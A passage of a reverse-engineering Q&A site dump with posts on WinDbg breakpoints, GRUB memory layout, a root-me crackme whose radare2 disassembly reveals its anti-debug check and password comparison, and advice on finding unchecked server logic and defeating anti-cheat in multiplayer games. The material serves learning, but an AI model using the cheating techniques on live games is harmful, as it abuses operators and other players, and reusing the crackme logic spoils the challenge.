&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I could find references to the ActiveX control in question I should be able to configure breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set a breakpoint on module load of the ActiveX control in WinDbg, as I suspect I will need to capture initialization:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; sxe ld FeeList.ocx&#xA;0:000&amp;gt; g&#xA;ModLoad: 75f50000 75f76000   C:\WINDOWS\SysWOW64\IMM32.DLL&#xA;ModLoad: 73cd0000 73cdf000   C:\WINDOWS\SysWOW64\kernel.appcore.dll&#xA;ModLoad: 73c10000 73c8c000   C:\WINDOWS\SysWOW64\uxtheme.dll&#xA;ModLoad: 5fd70000 5fdf6000   C:\WINDOWS\SysWOW64\SXS.DLL&#xA;ModLoad: 74080000 741c3000   C:\WINDOWS\SysWOW64\MSCTF.dll&#xA;ModLoad: 704a0000 704c3000   C:\WINDOWS\SysWOW64\dwmapi.dll&#xA;ModLoad: 76b70000 76bf3000   C:\WINDOWS\SysWOW64\clbcatq.dll&#xA;ModLoad: 615b0000 615cf000   C:\adv2000\FeeList.ocx&#xA;eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=007db8d8 edi=007db820&#xA;eip=7744ab5c esp=0019e034 ebp=0019e080 iopl=0         nv up ei pl nz na po nc&#xA;cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202&#xA;ntdll!NtMapViewOfSection+0xc:&#xA;7744ab5c c22800          ret     28h&#xA;0:000&amp;gt; kv&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0019e030 7741878f 000001cc ffffffff 007db8f0 ntdll!NtMapViewOfSection+0xc (FPO: [10,0,0])&#xA;01 0019e080 7741856d 007db820 00000000 007db82c ntdll!LdrpMinimalMapModule+0xa0 (FPO: [Non-Fpo])&#xA;02 0019e0a8 77415643 007db820 00000000 007db904 ntdll!LdrpMapDllWithSectionHandle+0x15 (FPO: [Non-Fpo])&#xA;03 0019e0f8 7743418c 0019e2f8 007db820 00000000 ntdll!LdrpMapDllNtFileName+0x12f (FPO: [Non-Fpo])&#xA;04 0019e228 7743393e 9e745ffd 0019e2f8 0019e2f4 ntdll!LdrpMapDllFullPath+0xbc (FPO: [0,71,4])&#xA;05 0019e278 7742aff7 9e745f45 0019e438 0019e4c8 ntdll!LdrpProcessWork+0x10a (FPO: [SEH])&#xA;06 0019e2c0 7741a8eb 00000600 00000004 00000000 ntdll!LdrpLoadDllInternal+0x17c (FPO: [SEH])&#xA;07 0019e40c 77417d42 00000000 00000001 0019e430 ntdll!LdrpLoadDll+0x93 (FPO: [3,71,4])&#xA;08 0019e490 76ee3b58 00002009 0019e4b8 0019e4c8 ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])&#xA;09 0019e4d4 762192c8 0019e598 00000000 00002008 KERNELBASE!LoadLibraryExW+0x148 (FPO: [Non-Fpo])&#xA;0a 0019e4f8 76219245 00002008 0019e560 0019e598 combase!LoadLibraryWithLogging+0x1b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\common\loadfree.cxx @ 160] &#xA;0b 0019e524 762190a2 0019e558 0019e55c 0019e560 combase!CClassCache::CDllPathEntry::LoadDll+0x50 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2394] &#xA;0c 0019e56c 7621615b 0019e590 007db588 80004005 combase!CClassCache::CDllPathEntry::Create+0x35 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2235] &#xA;0d 0019e7c4 761fd3de 00000001 0019eb3c 0019e814 combase!CClassCache::CClassEntry::CreateDllClassEntry+0xf3 (FPO: [Non-Fpo]) (CONV: thiscall) [onecore\com\combase\objact\dllcache.cxx @ 1070] &#xA;0e 0019eaf4 761b5239 0019eb1c f57d20f9 0019eb28 combase!CClassCache::GetClassObjectActivator+0x52e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5516] &#xA;0f 0019eb28 761b507a 0019f164 761b4f50 0019f85c combase!CClassCache::GetClassObject+0x30 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5284] &#xA;10 (Inline) -------- -------- -------- -------- combase!CCGetClassObject+0x3d (Inline Function @ 761b507a) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 8308] &#xA;11 0019eb94 762088ad 7633b4a4 0019f164 0019f85c combase!CServerContextActivator::GetClassObject+0x12a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 719] &#xA;12 0019ebd0 7622173b 0019f164 0019f85c 00000000 combase!ActivationPropertiesIn::DelegateGetClassObject+0x8d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832] &#xA;13 0019ebf8 76221056 7633b4a8 0019f164 0019f85c combase!CApartmentActivator::GetClassObject+0x6b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 2089] &#xA;14 0019ec1c 762210d0 7633b4a0 00000001 00000000 combase!CProcessActivator::GCOCallback+0x56 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1569] &#xA;15 0019ec40 7622115b 7633b4a0 0019ef90 00000000 combase!CProcessActivator::AttemptActivation+0x40 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1524] &#xA;16 0019ec84 762213aa 7633b4a0 0019ef90 00000000 combase!CProcessActivator::ActivateByContext+0x7b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1390] &#xA;17 0019ecb4 762088c0 7633b4a0 0019f164 0019f85c combase!CProcessActivator::GetClassObject+0x6a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1213] &#xA;18 0019ecf0 76205907 0019f164 0019f85c 003a0043 combase!ActivationPropertiesIn::DelegateGetClassObject+0xa0 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832] &#xA;19 0019ef44 7620888d 7633b49c 0019f164 0019f85c combase!CClientContextActivator::GetClassObject+0xd7 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 451] &#xA;1a 0019ef80 76202204 0019f164 0019f85c 76124fa8 combase!ActivationPropertiesIn::DelegateGetClassObject+0x6d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1884] &#xA;1b 0019f99c 7618cd55 00000000 66030510 00000000 combase!ICoGetClassObject+0x834 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\objact.cxx @ 1341] &#xA;1c 0019fa50 7618cc3e 00000000 66030510 0019fad0 combase!CComActivator::DoGetClassObject+0xef (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\immact.hxx @ 337] &#xA;*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\SysWOW64\MSVBVM60.DLL - &#xA;1d 0019fa70 66070023 005b5cf4 00000003 00000000 combase!CoGetClassObject+0x4e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actapi.cxx @ 84] &#xA;WARNING: Stack unwind information not available. Following frames may be wrong.&#xA;1e 0019fa9c 66044e26 005b5cf4 00000003 00000000 MSVBVM60!IID_IVbaHost+0x419e3&#xA;1f 0019fad4 66045557 0000002d 02392574 66012f70 MSVBVM60!IID_IVbaHost+0x167e6&#xA;20 0019fb2c 66048e33 00000001 02392574 0019fb74 MSVBVM60!IID_IVbaHost+0x16f17&#xA;21 0019fb3c 6606d2cc 0000002d 02392574 005b5c70 MSVBVM60!IID_IVbaHost+0x1a7f3&#xA;22 0019fb74 66032695 02392ccc 02392574 02392b1c MSVBVM60!IID_IVbaHost+0x3ec8c&#xA;23 0019fba0 6603291b 024a05bc 0019fbc4 02392ccc MSVBVM60!IID_IVbaHost+0x4055&#xA;24 0019fbc8 6603295e 024a05bc 02392574 00000000 MSVBVM60!IID_IVbaHost+0x42db&#xA;25 0019fbf8 66032737 024a05bc 02392501 00000000 MSVBVM60!IID_IVbaHost+0x431e&#xA;26 0019fc30 660320a5 024a05bc 02392574 02392454 MSVBVM60!IID_IVbaHost+0x40f7&#xA;27 0019fc90 66031ead 024a05bc 00000000 00000000 MSVBVM60!IID_IVbaHost+0x3a65&#xA;28 0019fcb0 660648d1 024a05bc 005b5f9c 00000000 MSVBVM60!IID_IVbaHost+0x386d&#xA;29 0019fd08 6606ff18 0019fd40 00000001 024a05bc MSVBVM60!IID_IVbaHost+0x36291&#xA;2a 0019fd44 6601e703 02392454 00000001 00403010 MSVBVM60!IID_IVbaHost+0x418d8&#xA;2b 0019fe94 66007b3e 024a05bc 00401358 005b05bc MSVBVM60!Zombie_Release+0xfcaa&#xA;2c 0019feb8 66003981 00401358 00000000 00401358 MSVBVM60!BASIC_CLASS_QueryInterface+0xeca&#xA;2d 0019fed8 660036fa 00400000 00400000 0040116c MSVBVM60!ThunRTMain+0x3dd&#xA;2e 0019fef8 66003600 00000000 00400000 0040116c MSVBVM60!ThunRTMain+0x156&#xA;2f 0019ff78 00401176 00401358 75f98484 00321000 MSVBVM60!ThunRTMain+0x5c&#xA;30 0019ff94 77443ab8 00321000 9e744259 00000000 fee3!__vbaS+0xa&#xA;31 0019ffdc 77443a88 ffffffff 7745f2f4 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])&#xA;32 0019ffec 00000000 0040116c 00321000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2019-01-31T23:37:26.630" Title="Set Breakpoint on ActiveX Property Being Set (No Symbols)" Tags="|ida|windows|assembly|pe|com|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20527" PostTypeId="2" ParentId="20525" CreationDate="2019-02-01T08:06:12.537" Score="3" Body="&lt;p&gt;Taken from &lt;a href=&quot;ftp://ftp.gnu.org/old-gnu/Manuals/grub-0.90/html_chapter/grub_22.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;gnu.org - Hacking GRUB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;GRUB consists of two distinct components, called stages, which are&#xA;  loaded at different times in the boot process. Because they run&#xA;  mutual-exclusively, sometimes a memory area overlaps with another&#xA;  memory area. And, even in one stage, a single memory area can be used&#xA;  for various purposes, because their usages are mutually exclusive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x7C00&lt;/code&gt; Stage 1 is loaded here by BIOS or another boot loader&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x2000&lt;/code&gt; The optional Stage 1.5 is loaded here / Command-line buffer for Multiboot kernels and modules&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x8000&lt;/code&gt; Stage2 is loaded here&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2019-02-01T08:06:12.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20528" PostTypeId="2" ParentId="20518" CreationDate="2019-02-01T08:32:27.110" Score="2" Body="&lt;p&gt;TL;DR: (probably) &lt;strong&gt;No&lt;/strong&gt; :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid I don't think there is some site like this, mainly because it is much harder to generate minimal example games for memory manipulation which resemble a real life scenario than in reverse engineering or debugging challenges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Games are often quiet complex and feature multi threaded gameloops and complex engines which keep track of various property values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although there are games meant to be messed with (such as &lt;a href=&quot;http://%20pwnadventure.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwnadventure3&lt;/a&gt;), I'm afraid examples like these are rare. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to encourage you to make use of the tutorials on youtube. Try to target a game with minimal / no security measures first (single player, maybe indies without a big engine backing them) and try to search for tutorials. When you find one, it will indicate the target (e.g. fix health, enable flying, ...) and you can try to do this yourself without watching the video in the first place. You may watch it afterwards and use it to streamline your workflow. Like with most reverse engineering related tasks, hands on experience is king.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always make the computer show you anything you'd like. The real challenge starts with finding vulnerabilities in multiplayer games, because this way your manipulation exceeds the scope of your own system. For example, one of the first things usually checked in game manipulation is whether the server performs sanity checks on manipulateable values such as loot, health etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when the server accepts jumping packages from the client and does not check for sanity (e.g. that the character is grounded and didn't jump a millisecond ago) you could abuse this behavior to implement flying. If the game utilizes a thick client structure, it may even trust the coordinates send by the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to explore game functionality and find the loopholes. For example, if a game implements a quick travel system maybe there are checks missing whether you could actually utilize it at any given moment or whether you can just travel to locations which are currently unlocked. Basically there are always two kinds of checks: requests something from the server and show its answer, or disable / change the interface to render the functionality unavailable to the normal user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point, you may even want to mess with anti-cheat systems which check memory sections for manipulation and implement other strategies such as network proxies. There is a &lt;a href=&quot;https://www.youtube.com/playlist?list=PLhixgUqwRTjzzBeFSHXrw9DnQtssdAwgG&quot; rel=&quot;nofollow noreferrer&quot;&gt;nice youtube playlist of LiveOverflow&lt;/a&gt; trying to beat pwnadventure this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Game Hacking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/REGames/&quot; rel=&quot;nofollow noreferrer&quot;&gt;/r/REGames&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/gamehacks/&quot; rel=&quot;nofollow noreferrer&quot;&gt;/r/gamehacks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2019-02-01T09:08:03.793" LastActivityDate="2019-02-01T09:08:03.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20530" PostTypeId="2" ParentId="20127" CreationDate="2019-02-01T09:39:24.777" Score="4" Body="&lt;p&gt;This problem was due to a corrupted dump: it turned out that dumping &lt;em&gt;in-system&lt;/em&gt;, in some way, wakes up the main CPU that interfere with the eeprom on the SPI bus. Desoldering the chip and reading with the same tools, managed to give an extractable dump with Binwalk.&lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2019-02-01T09:39:24.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20532" PostTypeId="1" CreationDate="2019-02-02T11:34:05.033" Score="1" ViewCount="3325" Body="&lt;p&gt;My question is simple : When I enter into a function call, I can't go back to this same call. Is there a functionality which could permit me to do this in x64dbg?&#xA;Or for example if we want to trace back from a chosen address...&#xA;I hope I am clear enough...&lt;/p&gt;&#xA;" OwnerUserId="26598" LastEditorUserId="245" LastEditDate="2019-02-04T11:39:09.753" LastActivityDate="2022-08-26T14:44:16.937" Title="Go back to the function call address" Tags="|x64dbg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20534" PostTypeId="1" AcceptedAnswerId="20544" CreationDate="2019-02-02T17:02:18.283" Score="2" ViewCount="760" Body="&lt;p&gt;I am trying to solve &lt;a href=&quot;https://www.root-me.org/en/Challenges/Cracking/ELF-Ptrace&quot; rel=&quot;nofollow noreferrer&quot;&gt;this ELF - Ptrace crack me&lt;/a&gt;. Here are the commands I use :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start radare2 with the crack me as argument. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 ch3.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I decide to go to the main and print the assembly code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080482f0]&amp;gt; s main &#xA;&#xA;[0x080483f0]&amp;gt; pdf&#xA;            ;-- main:&#xA;/ (fcn) sym.main 175&#xA;|   int sym.main (int argc, char **argv, char **envp);&#xA;|           ; var char *s @ ebp-0x16&#xA;|           ; var int var_ch @ ebp-0xc&#xA;|           ; var int var_4h @ ebp-0x4&#xA;|           ; arg int arg_4h @ esp+0x4&#xA;|           ; DATA XREF from entry0 (0x8048307)&#xA;|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY&#xA;|           0x080483f4      83e4f0         and esp, 0xfffffff0&#xA;|           0x080483f7      ff71fc         push dword [ecx - 4]&#xA;|           0x080483fa      55             push ebp&#xA;|           0x080483fb      89e5           mov ebp, esp&#xA;|           0x080483fd      51             push ecx&#xA;|           0x080483fe      83ec14         sub esp, 0x14&#xA;|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; &quot;ksuiealohgy&quot;&#xA;|           0x08048408      6a00           push 0                      ; void*data&#xA;|           0x0804840a      6a01           push 1                      ; loc._nl_current_LC_MONETARY_used ; void*addr&#xA;|           0x0804840c      6a00           push 0                      ; pid_t pid&#xA;|           0x0804840e      6a00           push 0                      ; __ptrace_request request&#xA;|           0x08048410      e85b060100     call sym.ptrace&#xA;|           0x08048415      83c410         add esp, 0x10&#xA;|           0x08048418      85c0           test eax, eax&#xA;|       ,=&amp;lt; 0x0804841a      791a           jns 0x8048436&#xA;|       |   0x0804841c      83ec0c         sub esp, 0xc&#xA;|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; &quot;Debugger detect\u00e9 ... Exit&quot; ; const char *s&#xA;|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)&#xA;|       |   0x08048429      83c410         add esp, 0x10&#xA;|       |   0x0804842c      b801000000     mov eax, 1&#xA;|      ,==&amp;lt; 0x08048431      e9c3000000     jmp loc.080484f9&#xA;|      ||   ; CODE XREF from sym.main (0x804841a)&#xA;|      |`-&amp;gt; 0x08048436      83ec0c         sub esp, 0xc&#xA;|      |    0x08048439      68b0280c08     push 0x80c28b0              ; &quot;############################################################&quot; ; const char *s&#xA;|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048443      83c410         add esp, 0x10&#xA;|      |    0x08048446      83ec0c         sub esp, 0xc&#xA;|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; &quot;##        Bienvennue dans ce challenge de cracking        ##&quot; ; const char *s&#xA;|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048453      83c410         add esp, 0x10&#xA;|      |    0x08048456      83ec0c         sub esp, 0xc&#xA;|      |    0x08048459      6830290c08     push 0x80c2930              ; &quot;############################################################\n&quot; ; const char *s&#xA;|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048463      83c410         add esp, 0x10&#xA;|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; &quot;Password : &quot;&#xA;|      |    0x0804846b      83ec0c         sub esp, 0xc&#xA;|      |    0x0804846e      50             push eax&#xA;|      |    0x0804846f      e8ec0a0000     call sym.__printf&#xA;|      |    0x08048474      83c410         add esp, 0x10&#xA;|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin&#xA;|      |    0x0804847c      83ec04         sub esp, 4&#xA;|      |    0x0804847f      50             push eax                    ; FILE *stream&#xA;|      |    0x08048480      6a09           push 9                      ; 9 ; int size&#xA;|      |    0x08048482      8d45ea         lea eax, [s]&#xA;|      |    0x08048485      50             push eax                    ; char *s&#xA;|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)&#xA;|      |    0x0804848b      83c410         add esp, 0x10&#xA;|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497&#xA;|      |    0x08048494      40             inc eax&#xA;\      |    0x08048495      ffe0           jmp eax&#xA;       |    ;-- _notng:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's where I find the code really strange. There are no more instructions after retrieving the string (the password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/3473/blabb&quot;&gt;blabb&lt;/a&gt;, I am able to print the code directly with the command &lt;code&gt;pd 100 @ main&lt;/code&gt;. The output is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483f0]&amp;gt; pd 100 @ main&#xA;            ;-- main:&#xA;/ (fcn) sym.main 175&#xA;|   int sym.main (int argc, char **argv, char **envp);&#xA;|           ; var char *s @ ebp-0x16&#xA;|           ; var int var_ch @ ebp-0xc&#xA;|           ; var int var_4h @ ebp-0x4&#xA;|           ; arg int arg_4h @ esp+0x4&#xA;|           ; DATA XREF from entry0 (0x8048307)&#xA;|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY&#xA;|           0x080483f4      83e4f0         and esp, 0xfffffff0&#xA;|           0x080483f7      ff71fc         push dword [ecx - 4]&#xA;|           0x080483fa      55             push ebp&#xA;|           0x080483fb      89e5           mov ebp, esp&#xA;|           0x080483fd      51             push ecx&#xA;|           0x080483fe      83ec14         sub esp, 0x14&#xA;|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; &quot;ksuiealohgy&quot;&#xA;|           0x08048408      6a00           push 0                      ; void*data&#xA;|           0x0804840a      6a01           push 1                      ; loc._nl_current_LC_MONETARY_used ; void*addr&#xA;|           0x0804840c      6a00           push 0                      ; pid_t pid&#xA;|           0x0804840e      6a00           push 0                      ; __ptrace_request request&#xA;|           0x08048410      e85b060100     call sym.ptrace&#xA;|           0x08048415      83c410         add esp, 0x10&#xA;|           0x08048418      85c0           test eax, eax&#xA;|       ,=&amp;lt; 0x0804841a      791a           jns 0x8048436&#xA;|       |   0x0804841c      83ec0c         sub esp, 0xc&#xA;|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; &quot;Debugger detect\u00e9 ... Exit&quot; ; const char *s&#xA;|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)&#xA;|       |   0x08048429      83c410         add esp, 0x10&#xA;|       |   0x0804842c      b801000000     mov eax, 1&#xA;|      ,==&amp;lt; 0x08048431      e9c3000000     jmp loc.080484f9&#xA;|      ||   ; CODE XREF from sym.main (0x804841a)&#xA;|      |`-&amp;gt; 0x08048436      83ec0c         sub esp, 0xc&#xA;|      |    0x08048439      68b0280c08     push 0x80c28b0              ; &quot;############################################################&quot; ; const char *s&#xA;|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048443      83c410         add esp, 0x10&#xA;|      |    0x08048446      83ec0c         sub esp, 0xc&#xA;|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; &quot;##        Bienvennue dans ce challenge de cracking        ##&quot; ; const char *s&#xA;|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048453      83c410         add esp, 0x10&#xA;|      |    0x08048456      83ec0c         sub esp, 0xc&#xA;|      |    0x08048459      6830290c08     push 0x80c2930              ; &quot;############################################################\n&quot; ; const char *s&#xA;|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)&#xA;|      |    0x08048463      83c410         add esp, 0x10&#xA;|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; &quot;Password : &quot;&#xA;|      |    0x0804846b      83ec0c         sub esp, 0xc&#xA;|      |    0x0804846e      50             push eax&#xA;|      |    0x0804846f      e8ec0a0000     call sym.__printf&#xA;|      |    0x08048474      83c410         add esp, 0x10&#xA;|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin&#xA;|      |    0x0804847c      83ec04         sub esp, 4&#xA;|      |    0x0804847f      50             push eax                    ; FILE *stream&#xA;|      |    0x08048480      6a09           push 9                      ; 9 ; int size&#xA;|      |    0x08048482      8d45ea         lea eax, [s]&#xA;|      |    0x08048485      50             push eax                    ; char *s&#xA;|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)&#xA;|      |    0x0804848b      83c410         add esp, 0x10&#xA;|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497&#xA;|      |    0x08048494      40             inc eax&#xA;\      |    0x08048495      ffe0           jmp eax&#xA;       |    ;-- _notng:&#xA;       |    ; DATA XREF from sym.main (0x804848e)&#xA;       |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a&#xA;       |    0x0804849c      45             inc ebp&#xA;       |    0x0804849d      f4             hlt&#xA;       |    0x0804849e      83c004         add eax, 4&#xA;       |    0x080484a1      8a00           mov al, byte [eax]&#xA;       |    0x080484a3      38c2           cmp dl, al&#xA;       |,=&amp;lt; 0x080484a5      753d           jne 0x80484e4&#xA;       ||   0x080484a7      8a55eb         mov dl, byte [ebp - 0x15]&#xA;       ||   0x080484aa      8b45f4         mov eax, dword [ebp - 0xc]&#xA;       ||   0x080484ad      83c005         add eax, 5&#xA;       ||   0x080484b0      8a00           mov al, byte [eax]&#xA;       ||   0x080484b2      38c2           cmp dl, al&#xA;      ,===&amp;lt; 0x080484b4      752e           jne 0x80484e4&#xA;      |||   0x080484b6      8a55ec         mov dl, byte [ebp - 0x14]&#xA;      |||   0x080484b9      8b45f4         mov eax, dword [ebp - 0xc]&#xA;      |||   0x080484bc      40             inc eax&#xA;      |||   0x080484bd      8a00           mov al, byte [eax]&#xA;      |||   0x080484bf      38c2           cmp dl, al&#xA;     ,====&amp;lt; 0x080484c1      7521           jne 0x80484e4&#xA;     ||||   0x080484c3      8a55ed         mov dl, byte [ebp - 0x13]&#xA;     ||||   0x080484c6      8b45f4         mov eax, dword [ebp - 0xc]&#xA;     ||||   0x080484c9      83c00a         add eax, 0xa&#xA;     ||||   0x080484cc      8a00           mov al, byte [eax]&#xA;     ||||   0x080484ce      38c2           cmp dl, al&#xA;    ,=====&amp;lt; 0x080484d0      7512           jne 0x80484e4&#xA;    |||||   0x080484d2      83ec0c         sub esp, 0xc&#xA;    |||||   0x080484d5      687a290c08     push str.Good_password      ; 0x80c297a ; &quot;\nGood password !!!\n&quot;&#xA;    |||||   0x080484da      e8f10d0000     call sym.puts               ; int puts(const char *s)&#xA;    |||||   0x080484df      83c410         add esp, 0x10&#xA;   ,======&amp;lt; 0x080484e2      eb10           jmp 0x80484f4&#xA;   ||||||   ; CODE XREFS from loc._notng (+0xe, +0x1d, +0x2a, +0x39)&#xA;   |```-`-&amp;gt; 0x080484e4      83ec0c         sub esp, 0xc&#xA;   |   |    0x080484e7      688e290c08     push str.Wrong_password.    ; 0x80c298e ; &quot;\nWrong password.\n&quot;&#xA;   |   |    0x080484ec      e8df0d0000     call sym.puts               ; int puts(const char *s)&#xA;   |   |    0x080484f1      83c410         add esp, 0x10&#xA;   |   |    ; CODE XREF from loc._notng (+0x4b)&#xA;   `------&amp;gt; 0x080484f4      b800000000     mov eax, 0&#xA;|- loc.080484f9 8&#xA;|   loc.080484f9 ();&#xA;|      |    ; var int var_4h @ ebp-0x4&#xA;|      |    ; CODE XREF from sym.main (0x8048431)&#xA;|      `--&amp;gt; 0x080484f9      8b4dfc         mov ecx, dword [var_4h]&#xA;|           0x080484fc      c9             leave&#xA;|           0x080484fd      8d61fc         lea esp, [ecx - 4]&#xA;\           0x08048500      c3             ret&#xA;            0x08048501      90             nop&#xA;            0x08048502      90             nop&#xA;            0x08048503      90             nop&#xA;            0x08048504      90             nop&#xA;            0x08048505      90             nop&#xA;            0x08048506      90             nop&#xA;            0x08048507      90             nop&#xA;            0x08048508      90             nop&#xA;            0x08048509      90             nop&#xA;            0x0804850a      90             nop&#xA;            0x0804850b      90             nop&#xA;[0x080483f0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why I am obligated to enter this command and not &lt;code&gt;pdf&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="26974" LastEditorUserId="26974" LastEditDate="2019-02-03T15:59:10.710" LastActivityDate="2019-02-03T22:23:46.533" Title="Radare2 does not display the entire assembler code" Tags="|ida|binary-analysis|radare2|anti-debugging|crackme|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
